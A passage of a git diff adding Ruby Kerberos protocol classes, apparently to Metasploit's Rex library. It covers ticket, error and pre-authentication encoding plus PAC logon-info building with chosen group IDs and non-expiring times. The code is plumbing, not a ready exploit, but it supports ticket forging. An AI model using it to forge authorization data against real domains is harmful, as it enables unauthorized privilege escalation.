microseconds part of the client timestamp + attr_accessor :cusec + # @!attribute stime + # @return [Time] The current time of the server + attr_accessor :stime + # @!attribute susec + # @return [Fixnum] The microseconds part of the server timestamp + attr_accessor :susec + # @!attribute error_code + # @return [Fixnum] The error request returned by kerberos or the server when a request fails + attr_accessor :error_code + # @!attribute crealm + # @return [String] The realm part of the client's principal identifier + attr_accessor :crealm + # @!attribute cname + # @return [Rex::Proto::Kerberos::Model::PrincipalName] The name part of the client's principal identifier + attr_accessor :cname + # @!attribute realm + # @return [String] The realm part of the server's principal identifier + attr_accessor :realm + # @!attribute sname + # @return [Rex::Proto::Kerberos::Model::PrincipalName] The name part of the server's identity + attr_accessor :sname + # @!attribute e_data + # @return [String] additional data about the error (ASN.1 encoded data) + attr_accessor :e_data + + # Decodes the Rex::Proto::Kerberos::Model::KrbError from an input + # + # @param input [String, OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [self] if decoding succeeds + # @raise [RuntimeError] if decoding doesn't succeed + def decode(input) + case input + when String + decode_string(input) + when OpenSSL::ASN1::ASN1Data + decode_asn1(input) + else + raise ::RuntimeError, 'Failed to decode KrbError, invalid input' + end + + self + end + + # Rex::Proto::Kerberos::Model::KrbError encoding isn't supported + # + # @raise [NotImplementedError] + def encode + raise ::NotImplementedError, 'KrbError encoding not supported' + end + + private + + # Decodes a Rex::Proto::Kerberos::Model::KrbError from an String + # + # @param input [String] the input to decode from + def decode_string(input) + asn1 = OpenSSL::ASN1.decode(input) + + decode_asn1(asn1) + end + + # Decodes a Rex::Proto::Kerberos::Model::KrbError + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @raise [RuntimeError] if decoding doesn't succeed + def decode_asn1(input) + input.value[0].value.each do |val| + case val.tag + when 0 + self.pvno = decode_pvno(val) + when 1 + self.msg_type = decode_msg_type(val) + when 2 + self.ctime = decode_ctime(val) + when 3 + self.cusec = decode_cusec(val) + when 4 + self.stime = decode_stime(val) + when 5 + self.susec = decode_susec(val) + when 6 + self.error_code = decode_error_code(val) + when 7 + self.crealm = decode_crealm(val) + when 8 + self.cname = decode_cname(val) + when 9 + self.realm = decode_realm(val) + when 10 + self.sname = decode_sname(val) + when 12 + self.e_data = decode_e_data(val) + else + raise ::RuntimeError, 'Failed to decode KRB-ERROR SEQUENCE' + end + end + end + + # Decodes the pvno from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_pvno(input) + input.value[0].value.to_i + end + + # Decodes the msg_type from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_msg_type(input) + input.value[0].value.to_i + end + + # Decodes the ctime field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Time] + def decode_ctime(input) + input.value[0].value + end + + # Decodes the cusec field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_cusec(input) + input.value[0].value + end + + # Decodes the stime field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Time] + def decode_stime(input) + input.value[0].value + end + + # Decodes the susec field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_susec(input) + input.value[0].value.to_i + end + + # Decodes the error_code field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_error_code(input) + input.value[0].value.to_i + end + + # Decodes the crealm field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [String] + def decode_crealm(input) + input.value[0].value + end + + # Decodes the cname field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Rex::Proto::Kerberos::Model::PrincipalName] + def decode_cname(input) + Rex::Proto::Kerberos::Model::PrincipalName.decode(input.value[0]) + end + + # Decodes the realm field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [String] + def decode_realm(input) + input.value[0].value + end + + # Decodes the sname field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Rex::Proto::Kerberos::Model::PrincipalName] + def decode_sname(input) + Rex::Proto::Kerberos::Model::PrincipalName.decode(input.value[0]) + end + + # Decodes the e_data from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [String] + def decode_e_data(input) + input.value[0].value + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/model/last_request.rb b/lib/rex/proto/kerberos/model/last_request.rb new file mode 100644 index 0000000000..cd9bdd4837 --- /dev/null +++ b/lib/rex/proto/kerberos/model/last_request.rb @@ -0,0 +1,82 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + # This class provides a representation of request time + class LastRequest < Element + + # @!attribute type + # @return [Fixnum] The type of value + attr_accessor :type + # @!attribute value + # @return [Time] the time of the last request + attr_accessor :value + + # Decodes a Rex::Proto::Kerberos::Model::LastRequest + # + # @param input [String, OpenSSL::ASN1::Sequence] the input to decode from + # @return [self] if decoding succeeds + # @raise [RuntimeError] if decoding doesn't succeed + def decode(input) + case input + when String + decode_string(input) + when OpenSSL::ASN1::Sequence + decode_asn1(input) + else + raise ::RuntimeError, 'Failed to decode LastRequest, invalid input' + end + + self + end + + # Rex::Proto::Kerberos::Model::LastRequest encoding isn't supported + # + # @raise [NotImplementedError] + def encode + raise ::NotImplementedError, 'LastRequest encoding not supported' + end + + private + + # Decodes a Rex::Proto::Kerberos::Model::LastReque from an String + # + # @param input [String] the input to decode from + def decode_string(input) + asn1 = OpenSSL::ASN1.decode(input) + + decode_asn1(asn1) + end + + # Decodes a Rex::Proto::Kerberos::Model::EncryptionKey from an + # OpenSSL::ASN1::Sequence + # + # @param input [OpenSSL::ASN1::Sequence] the input to decode from + def decode_asn1(input) + seq_values = input.value + self.type = decode_type(seq_values[0]) + self.value = decode_value(seq_values[1]) + end + + # Decodes the key_type from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_type(input) + input.value[0].value.to_i + end + + # Decodes the value from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Time] + def decode_value(input) + input.value[0].value + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/model/pre_auth_data.rb b/lib/rex/proto/kerberos/model/pre_auth_data.rb new file mode 100644 index 0000000000..f96c6618e4 --- /dev/null +++ b/lib/rex/proto/kerberos/model/pre_auth_data.rb @@ -0,0 +1,104 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + # This class provides a representation for Kerberos pre authenticated + # data + class PreAuthData < Element + + # @!attribute type + # @return [Fixnum] The padata type + attr_accessor :type + # @!attribute value + # @return [String] The padata value + attr_accessor :value + + # Decodes a Rex::Proto::Kerberos::Model::PreAuthData + # + # @param input [String, OpenSSL::ASN1::Sequence] the input to decode from + # @return [self] if decoding succeeds + # @raise [RuntimeError] if decoding doesn't succeed + def decode(input) + case input + when String + decode_string(input) + when OpenSSL::ASN1::Sequence + decode_asn1(input) + else + raise ::RuntimeError, 'Failed to decode PreAuthData, invalid input' + end + + self + end + + # Encodes a Rex::Proto::Kerberos::Model::PreAuthData into an ASN.1 String + # + # @return [String] + def encode + type_asn1 = OpenSSL::ASN1::ASN1Data.new([encode_type], 1, :CONTEXT_SPECIFIC) + value_asn1 = OpenSSL::ASN1::ASN1Data.new([encode_value], 2, :CONTEXT_SPECIFIC) + seq = OpenSSL::ASN1::Sequence.new([type_asn1, value_asn1]) + + seq.to_der + end + + private + + # Encodes the type + # + # @return [OpenSSL::ASN1::Integer] + def encode_type + int_bn = OpenSSL::BN.new(type.to_s) + int = OpenSSL::ASN1::Integer.new(int_bn) + + int + end + + # Encodes the value + # + # @return [OpenSSL::ASN1::OctetString] + def encode_value + OpenSSL::ASN1::OctetString.new(value) + end + + # Decodes a Rex::Proto::Kerberos::Model::PreAuthData + # + # @param input [String] the input to decode from + def decode_string(input) + asn1 = OpenSSL::ASN1.decode(input) + + decode_asn1(asn1) + end + + # Decodes a Rex::Proto::Kerberos::Model::PreAuthData from an + # OpenSSL::ASN1::Sequence + # + # @param input [OpenSSL::ASN1::Sequence] the input to decode from + def decode_asn1(input) + seq_values = input.value + self.type = decode_asn1_type(seq_values[0]) + self.value = decode_asn1_value(seq_values[1]) + end + + # Decodes the type from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_asn1_type(input) + input.value[0].value.to_i + end + + # Decodes the value from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_asn1_value(input) + input.value[0].value + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/model/pre_auth_enc_time_stamp.rb b/lib/rex/proto/kerberos/model/pre_auth_enc_time_stamp.rb new file mode 100644 index 0000000000..76415db244 --- /dev/null +++ b/lib/rex/proto/kerberos/model/pre_auth_enc_time_stamp.rb @@ -0,0 +1,126 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + # This class is a representation of a PA-ENC-TIMESTAMP, an encrypted timestamp sent + # as pre authenticated data + class PreAuthEncTimeStamp < Element + + CRYPTO_MSG_TYPE = 1 + + # @!attribute pa_time_stamp + # @return [Time] client's time + attr_accessor :pa_time_stamp + # @!attribute pausec + # @return [Fixnum] optional microseconds client's time + attr_accessor :pausec + + # Decodes a Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp + # + # @param input [String, OpenSSL::ASN1::Sequence] the input to decode from + # @return [self] if decoding succeeds + # @raise [RuntimeError] if decoding doesn't succeed + def decode(input) + case input + when String + decode_string(input) + when OpenSSL::ASN1::Sequence + decode_asn1(input) + else + raise ::RuntimeError, 'Failed to decode PreAuthEncTimeStamp, invalid input' + end + + self + end + + # Encodes a Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp into an + # ASN.1 String + # + # @return [String] + def encode + pa_time_stamp_asn1 = OpenSSL::ASN1::ASN1Data.new([encode_pa_time_stamp], 0, :CONTEXT_SPECIFIC) + pausec_asn1 = OpenSSL::ASN1::ASN1Data.new([encode_pausec], 1, :CONTEXT_SPECIFIC) + seq = OpenSSL::ASN1::Sequence.new([pa_time_stamp_asn1, pausec_asn1]) + + seq.to_der + end + + # Encrypts the Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp + # + # @param etype [Fixnum] the crypto schema to encrypt + # @param key [String] the key to encrypt + # @return [String] the encrypted result + # @raise [NotImplementedError] if encryption schema isn't supported + def encrypt(etype, key) + data = self.encode + + res = '' + case etype + when RC4_HMAC + res = encrypt_rc4_hmac(data, key, CRYPTO_MSG_TYPE) + else + raise ::NotImplementedError, 'EncryptedData schema is not supported' + end + + res + end + + private + + # Encodes the pa_time_stamp + # + # @return [OpenSSL::ASN1::GeneralizedTime] + def encode_pa_time_stamp + OpenSSL::ASN1::GeneralizedTime.new(pa_time_stamp) + end + + # Encodes the pausec + # + # @return [OpenSSL::ASN1::Integer] + def encode_pausec + int_bn = OpenSSL::BN.new(pausec.to_s) + int = OpenSSL::ASN1::Integer.new(int_bn) + + int + end + + # Decodes a Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp + # + # @param input [String] the input to decode from + def decode_string(input) + asn1 = OpenSSL::ASN1.decode(input) + + decode_asn1(asn1) + end + + # Decodes a Rex::Proto::Kerberos::Model::PreAuthEncTimeStamp from an + # OpenSSL::ASN1::Sequence + # + # @param input [OpenSSL::ASN1::Sequence] the input to decode from + def decode_asn1(input) + self.pa_time_stamp = decode_pa_time_stamp(input.value[0]) + self.pausec = decode_pausec(input.value[1]) + end + + # Decodes the decode_pa_time_stamp from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Boolean] + def decode_pa_time_stamp(input) + input.value[0].value + end + + # Decodes the pausec from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_pausec(input) + input.value[0].value.to_i + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/model/pre_auth_pac_request.rb b/lib/rex/proto/kerberos/model/pre_auth_pac_request.rb new file mode 100644 index 0000000000..8c89404482 --- /dev/null +++ b/lib/rex/proto/kerberos/model/pre_auth_pac_request.rb @@ -0,0 +1,81 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + # This class is a representation of a KERB-PA-PAC-REQUEST, pre authenticated data to + # explicitly request to include or exclude a PAC in the ticket. + class PreAuthPacRequest < Element + + # @!attribute value + # @return [Boolean] + attr_accessor :value + + # Decodes a Rex::Proto::Kerberos::Model::PreAuthPacRequest + # + # @param input [String, OpenSSL::ASN1::Sequence] the input to decode from + # @return [self] if decoding succeeds + # @raise [RuntimeError] if decoding doesn't succeed + def decode(input) + case input + when String + decode_string(input) + when OpenSSL::ASN1::Sequence + decode_asn1(input) + else + raise ::RuntimeError, 'Failed to decode PreAuthPacRequest, invalid input' + end + + self + end + + # Encodes a Rex::Proto::Kerberos::Model::PreAuthPacRequest into an + # ASN.1 String + # + # @return [String] + def encode + value_asn1 = OpenSSL::ASN1::ASN1Data.new([encode_value], 0, :CONTEXT_SPECIFIC) + seq = OpenSSL::ASN1::Sequence.new([value_asn1]) + + seq.to_der + end + + private + + # Encodes value attribute + # + # @return [OpenSSL::ASN1::Boolean] + def encode_value + OpenSSL::ASN1::Boolean.new(value) + end + + # Decodes a Rex::Proto::Kerberos::Model::PreAuthPacRequest + # + # @param input [String] the input to decode from + def decode_string(input) + asn1 = OpenSSL::ASN1.decode(input) + + decode_asn1(asn1) + end + + # Decodes a Rex::Proto::Kerberos::Model::PreAuthPacRequest from an + # OpenSSL::ASN1::Sequence + # + # @param input [OpenSSL::ASN1::Sequence] the input to decode from + def decode_asn1(input) + self.value = decode_asn1_value(input.value[0]) + end + + # Decodes the value from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Boolean] + def decode_asn1_value(input) + input.value[0].value + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/model/principal_name.rb b/lib/rex/proto/kerberos/model/principal_name.rb new file mode 100644 index 0000000000..51067f5c5c --- /dev/null +++ b/lib/rex/proto/kerberos/model/principal_name.rb @@ -0,0 +1,116 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + # This class provides a representation of a principal, an asset (e.g., a + # workstation user or a network server) on a network. + class PrincipalName < Element + + # @!attribute name_type + # @return [Fixnum] The type of name + attr_accessor :name_type + # @!attribute name_string + # @return [Array<String>] A sequence of strings that form a name. + attr_accessor :name_string + + # Decodes a Rex::Proto::Kerberos::Model::PrincipalName + # + # @param input [String, OpenSSL::ASN1::Sequence] the input to decode from + # @return [self] if decoding succeeds + # @raise [RuntimeError] if decoding doesn't succeed + def decode(input) + case input + when String + decode_string(input) + when OpenSSL::ASN1::Sequence + decode_asn1(input) + else + raise ::RuntimeError, 'Failed to decode Principal Name, invalid input' + end + + self + end + + # Encodes a Rex::Proto::Kerberos::Model::PrincipalName into an + # ASN.1 String + # + # @return [String] + def encode + integer_asn1 = OpenSSL::ASN1::ASN1Data.new([encode_name_type], 0, :CONTEXT_SPECIFIC) + string_asn1 = OpenSSL::ASN1::ASN1Data.new([encode_name_string], 1, :CONTEXT_SPECIFIC) + seq = OpenSSL::ASN1::Sequence.new([integer_asn1, string_asn1]) + + seq.to_der + end + + private + + # Encodes the name_type + # + # @return [OpenSSL::ASN1::Integer] + def encode_name_type + int_bn = OpenSSL::BN.new(name_type.to_s) + int = OpenSSL::ASN1::Integer.new(int_bn) + + int + end + + # Encodes the name_string + # + # @return [OpenSSL::ASN1::Sequence] + def encode_name_string + strings = [] + name_string.each do |s| + strings << OpenSSL::ASN1::GeneralString.new(s) + end + seq_string = OpenSSL::ASN1::Sequence.new(strings) + + seq_string + end + + # Decodes a Rex::Proto::Kerberos::Model::PrincipalName from an String + # + # @param input [String] the input to decode from + def decode_string(input) + asn1 = OpenSSL::ASN1.decode(input) + + decode_asn1(asn1) + end + + # Decodes a Rex::Proto::Kerberos::Model::PrincipalName from an + # OpenSSL::ASN1::Sequence + # + # @param input [OpenSSL::ASN1::Sequence] the input to decode from + def decode_asn1(input) + seq_values = input.value + self.name_type = decode_name_type(seq_values[0]) + self.name_string = decode_name_string(seq_values[1]) + end + + # Decodes the name_type from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_name_type(input) + input.value[0].value.to_i + end + + # Decodes the name_string from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Array<String>] + def decode_name_string(input) + strings = [] + input.value[0].value.each do |v| + strings << v.value + end + + strings + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/model/ticket.rb b/lib/rex/proto/kerberos/model/ticket.rb new file mode 100644 index 0000000000..de43199b89 --- /dev/null +++ b/lib/rex/proto/kerberos/model/ticket.rb @@ -0,0 +1,151 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Model + # This class provides a representation of a Kerberos ticket that helps + # a client authenticate to a service. + class Ticket < Element + # @!attribute tkt_vno + # @return [Fixnum] The ticket version number + attr_accessor :tkt_vno + # @!attribute realm + # @return [String] The realm that issued the ticket + attr_accessor :realm + # @!attribute sname + # @return [Rex::Proto::Kerberos::Model::PrincipalName] The name part of the server's identity + attr_accessor :sname + # @!attribute enc_part + # @return [Rex::Proto::Kerberos::Model::EncryptedData] The encrypted part of the ticket + attr_accessor :enc_part + + # Decodes the Rex::Proto::Kerberos::Model::KrbError from an input + # + # @param input [String, OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [self] if decoding succeeds + # @raise [RuntimeError] if decoding doesn't succeed + def decode(input) + case input + when String + decode_string(input) + when OpenSSL::ASN1::ASN1Data + decode_asn1(input) + else + raise ::RuntimeError, 'Failed to decode Ticket, invalid input' + end + + self + end + + def encode + elems = [] + elems << OpenSSL::ASN1::ASN1Data.new([encode_tkt_vno], 0, :CONTEXT_SPECIFIC) + elems << OpenSSL::ASN1::ASN1Data.new([encode_realm], 1, :CONTEXT_SPECIFIC) + elems << OpenSSL::ASN1::ASN1Data.new([encode_sname], 2, :CONTEXT_SPECIFIC) + elems << OpenSSL::ASN1::ASN1Data.new([encode_enc_part], 3, :CONTEXT_SPECIFIC) + seq = OpenSSL::ASN1::Sequence.new(elems) + + seq_asn1 = OpenSSL::ASN1::ASN1Data.new([seq], TICKET, :APPLICATION) + + seq_asn1.to_der + end + + private + + # Encodes the tkt_vno field + # + # @return [OpenSSL::ASN1::Integer] + def encode_tkt_vno + bn = OpenSSL::BN.new(tkt_vno.to_s) + int = OpenSSL::ASN1::Integer.new(bn) + + int + end + + # Encodes the realm field + # + # @return [OpenSSL::ASN1::GeneralString] + def encode_realm + OpenSSL::ASN1::GeneralString.new(realm) + end + + # Encodes the sname field + # + # @return [String] + def encode_sname + sname.encode + end + + # Encodes the enc_part field + # + # @return [String] + def encode_enc_part + enc_part.encode + end + + # Decodes a Rex::Proto::Kerberos::Model::Ticket from an String + # + # @param input [String] the input to decode from + def decode_string(input) + asn1 = OpenSSL::ASN1.decode(input) + + decode_asn1(asn1) + end + + # Decodes a Rex::Proto::Kerberos::Model::Ticket + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @raise [RuntimeError] if decoding doesn't succeed + def decode_asn1(input) + input.value[0].value.each do |val| + case val.tag + when 0 + self.tkt_vno = decode_tkt_vno(val) + when 1 + self.realm = decode_realm(val) + when 2 + self.sname = decode_sname(val) + when 3 + self.enc_part = decode_enc_part(val) + else + raise ::RuntimeError, 'Failed to decode Ticket SEQUENCE' + end + end + end + + # Decodes the tkt_vno from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Fixnum] + def decode_tkt_vno(input) + input.value[0].value.to_i + end + + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [String] + def decode_realm(input) + input.value[0].value + end + + # Decodes the sname field + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Rex::Proto::Kerberos::Model::PrincipalName] + def decode_sname(input) + Rex::Proto::Kerberos::Model::PrincipalName.decode(input.value[0]) + end + + # Decodes the enc_part from an OpenSSL::ASN1::ASN1Data + # + # @param input [OpenSSL::ASN1::ASN1Data] the input to decode from + # @return [Rex::Proto::Kerberos::Model::EncryptedData] + def decode_enc_part(input) + Rex::Proto::Kerberos::Model::EncryptedData.decode(input.value[0]) + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/pac.rb b/lib/rex/proto/kerberos/pac.rb new file mode 100644 index 0000000000..98ad3cffe6 --- /dev/null +++ b/lib/rex/proto/kerberos/pac.rb @@ -0,0 +1,36 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Pac + VERSION = 0 + NETLOGON_FLAG = 0x20000 + SE_GROUP_MANDATORY = 1 + SE_GROUP_ENABLED_BY_DEFAULT = 2 + SE_GROUP_ENABLED = 4 + SE_GROUP_ALL = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED + USER_NORMAL_ACCOUNT = 0x00000010 + USER_DONT_EXPIRE_PASSWORD = 0x00000200 + PAC_LOGON_INFO = 1 + PAC_SERVER_CHECKSUM = 6 + PAC_PRIVSVR_CHECKSUM = 7 + PAC_CLIENT_INFO = 10 + AD_WIN2K_PAC = 128 + SEC_TO_UNIX_EPOCH = 11644473600 + WINDOWS_TICK = 10000000 + NEVER_EXPIRE = 0x7fffffffffffffff + DOMAIN_USERS = 513 + DEFAULT_USER_SID = 1000 + NT_AUTHORITY_SID = 'S-1-5' + end + end + end +end + +require 'rex/proto/kerberos/pac/element' +require 'rex/proto/kerberos/pac/priv_svr_checksum' +require 'rex/proto/kerberos/pac/server_checksum' +require 'rex/proto/kerberos/pac/client_info' +require 'rex/proto/kerberos/pac/logon_info' +require 'rex/proto/kerberos/pac/type' diff --git a/lib/rex/proto/kerberos/pac/client_info.rb b/lib/rex/proto/kerberos/pac/client_info.rb new file mode 100644 index 0000000000..b51539fb10 --- /dev/null +++ b/lib/rex/proto/kerberos/pac/client_info.rb @@ -0,0 +1,53 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Pac + # This class provides a representation of a PAC-CLIENT-INFO structure, containing the client's name + # and authentication time. It's used to verify which the ticket's client is the PAC's owner. + class ClientInfo < Element + + # @!attribute client_id + # @return [Time] The auth_time field of the Kerberos KDC-AS response. + attr_accessor :client_id + # @!attribute name + # @return [String] The client name from the ticket + attr_accessor :name + + # Encodes the Rex::Proto::Kerberos::Pac::ClientInfo + # + # @return [String] + def encode + encoded = '' + encoded << encode_client_id + encoded << [name.length * 2].pack('v') + encoded << encode_name + + encoded + end + + private + + # Encodes the client_id attribute + # + # @return [String] + def encode_client_id + file_time = (client_id.to_i + 11644473600) * 10000000 + encoded = '' + encoded << [file_time].pack('Q<') + + encoded + end + + # Encodes the name attribute + # + # @return [String] + def encode_name + Rex::Text.to_unicode(name) + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/pac/element.rb b/lib/rex/proto/kerberos/pac/element.rb new file mode 100644 index 0000000000..9e860d7216 --- /dev/null +++ b/lib/rex/proto/kerberos/pac/element.rb @@ -0,0 +1,52 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Pac + class Element + + include Rex::Proto::Kerberos::Crypto + include Rex::Proto::Kerberos::Pac + + def self.attr_accessor(*vars) + @attributes ||= [] + @attributes.concat vars + super(*vars) + end + + # Retrieves the element class fields + # + # @return [Array] + def self.attributes + @attributes + end + + def initialize(options = {}) + self.class.attributes.each do |attr| + if options.has_key?(attr) + m = (attr.to_s + '=').to_sym + self.send(m, options[attr]) + end + end + end + + # Retrieves the element instance fields + # + # @return [Array] + def attributes + self.class.attributes + end + + # Encodes the Rex::Proto::Kerberos::Pac::Element into an String. This + # method has been designed to be overridden by subclasses. + # + # @raise [NoMethodError] + def encode + raise ::NoMethodError, 'Method designed to be overridden' + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/pac/logon_info.rb b/lib/rex/proto/kerberos/pac/logon_info.rb new file mode 100644 index 0000000000..434279a013 --- /dev/null +++ b/lib/rex/proto/kerberos/pac/logon_info.rb @@ -0,0 +1,566 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Pac + # @todo Make more fields user controllable, instead of constants. + # This class provides a representation of a PAC_LOGON_INFO structure, which contains the + # credential information for the client of the Kerberos ticket. + class LogonInfo < Element + + # @!attribute logon_time + # @return [Time] The time the client last logged on + attr_accessor :logon_time + # @!attribute effective_name + # @return [String] The client's Windows 2000 user name + attr_accessor :effective_name + # @!attribute user_id + # @return [Fixnum] The relative ID for the client + attr_accessor :user_id + # @!attribute primary_group_id + # @return [Fixnum] The relative ID for the client's primary group + attr_accessor :primary_group_id + # @!attribute group_ids + # @return [Array<Fixnum>] Array of relative Ids of the groups which the client is a member + attr_accessor :group_ids + # @!attribute logon_domain_name + # @return [String] The netbios name of the client's domain + attr_accessor :logon_domain_name + # @!attribute logon_domain_sid + # @return [String] The SID of the client's domain + attr_accessor :logon_domain_id + + # Encodes the Rex::Proto::Kerberos::Pac::LogonInfo + # + # @return [String] + def encode + elements = [] + elements[0] = '' + elements[0] << encode_element_id + elements[0] << encode_logon_time + elements[0] << encode_logoff_time + elements[0] << encode_kickoff_time + elements[0] << encode_password_last_set + elements[0] << encode_password_can_change + elements[0] << encode_password_must_change + elements[0] << encode_effective_name + elements << encode_effective_name_info + elements[0] << encode_full_name + elements << encode_full_name_info + elements[0] << encode_logon_script + elements << encode_logon_script_info + elements[0] << encode_profile_path + elements << encode_profile_path_info + elements[0] << encode_home_directory + elements << encode_home_directory_info + elements[0] << encode_home_directory_drive + elements << encode_home_directory_drive_info + elements[0] << encode_logon_count + elements[0] << encode_bad_password_count + elements[0] << encode_user_id + elements[0] << encode_primary_group_id + elements[0] << encode_group_count + elements[0] << encode_group_ids + elements << encode_group_ids_info + elements[0] << encode_user_flags + elements[0] << encode_user_session_key + elements[0] << encode_logon_server + elements << encode_logon_server_info + elements[0] << encode_logon_domain_name + elements << encode_logon_domain_name_info + elements[0] << encode_logon_domain_id + elements << encode_logon_domain_id_info + elements[0] << encode_reserved_one + elements[0] << encode_user_account_control + elements[0] << encode_reserved_three + elements[0] << encode_sid_count + elements[0] << encode_extra_sids + elements[0] << encode_resource_group_domain_sid + elements[0] << encode_resource_group_count + elements[0] << encode_resource_group_ids + + decoded = '' + elements.each do |elem| + decoded << elem + decoded << "\x00" * ((elem.length + 3) / 4 * 4 - elem.length) + end + + header = "\x01\x10\x08\x00\xcc\xcc\xcc\xcc" + header << [decoded.length, 0].pack('VV') + + header + decoded + end + + private + + # Encodes the netlogon type + # + # @return [String] + def encode_element_id + [NETLOGON_FLAG].pack('V') + end + + # Encodes the logon_time attribute + # + # @return [String] + def encode_logon_time + file_time = (logon_time.to_i + SEC_TO_UNIX_EPOCH) * WINDOWS_TICK + encoded = '' + encoded << [file_time].pack('Q<') + + encoded + end + + # Encodes the logoff time (constant) + # + # @return [String] + def encode_logoff_time + [NEVER_EXPIRE].pack('Q<') + end + + # Encodes the kickoff time (constant) + # + # @return [String] + def encode_kickoff_time + [NEVER_EXPIRE].pack('Q<') + end + + # Encodes the password_last_set (constant) + # + # @return [String] + def encode_password_last_set + [0].pack('Q<') + end + + # Encodes the password_can_change (constant) + # + # @return [String] + def encode_password_can_change + [0].pack('Q<') + end + + # Encodes the password_must_change (constant) + # + # @return [String] + def encode_password_must_change + [NEVER_EXPIRE].pack('Q<') + end + + # Encodes the effective_name id field + # + # @return [String] + def encode_effective_name + unicode = Rex::Text.to_unicode(effective_name) + + encoded = '' + encoded << [ + unicode.length, + unicode.length, + 0x20004 + ].pack('vvV') + + encoded + end + + # Encodes the effective_name info field + # + # @return [String] + def encode_effective_name_info + unicode = Rex::Text.to_unicode(effective_name) + + encoded = '' + encoded << [ + effective_name.length, + effective_name.length + ].pack('Q<V') + encoded << unicode + end + + # Encodes the full_name id + # + # @return [String] + def encode_full_name + unicode = Rex::Text.to_unicode('') + encoded = '' + encoded << [ + unicode.length, + unicode.length, + 0x20008 + ].pack('vvV') + + encoded + end + + # Encodes the full_name_info (constant) + # + # @return [String] + def encode_full_name_info + unicode = Rex::Text.to_unicode('') + encoded = '' + encoded << [ + ''.length, + ''.length + ].pack('Q<V') + encoded << unicode + encoded + end + + # Encodes the logon_script id + # + # @return [String] + def encode_logon_script + unicode = Rex::Text.to_unicode('') + + encoded = '' + encoded << [ + unicode.length, + unicode.length, + 0x2000c + ].pack('vvV') + + encoded + end + + # Encodes the logon_script info (constant) + # + # @return [String] + def encode_logon_script_info + unicode = Rex::Text.to_unicode('') + encoded = '' + encoded << [ + ''.length, + ''.length + ].pack('Q<V') + encoded << unicode + + encoded + end + + # Encodes the profile_path id + # + # @return [String] + def encode_profile_path + unicode = Rex::Text.to_unicode('') + + encoded = '' + encoded << [ + unicode.length, + unicode.length, + 0x20010 + ].pack('vvV') + + encoded + end + + # Encodes the profile_path info (constant) + # + # @return [String] + def encode_profile_path_info + unicode = 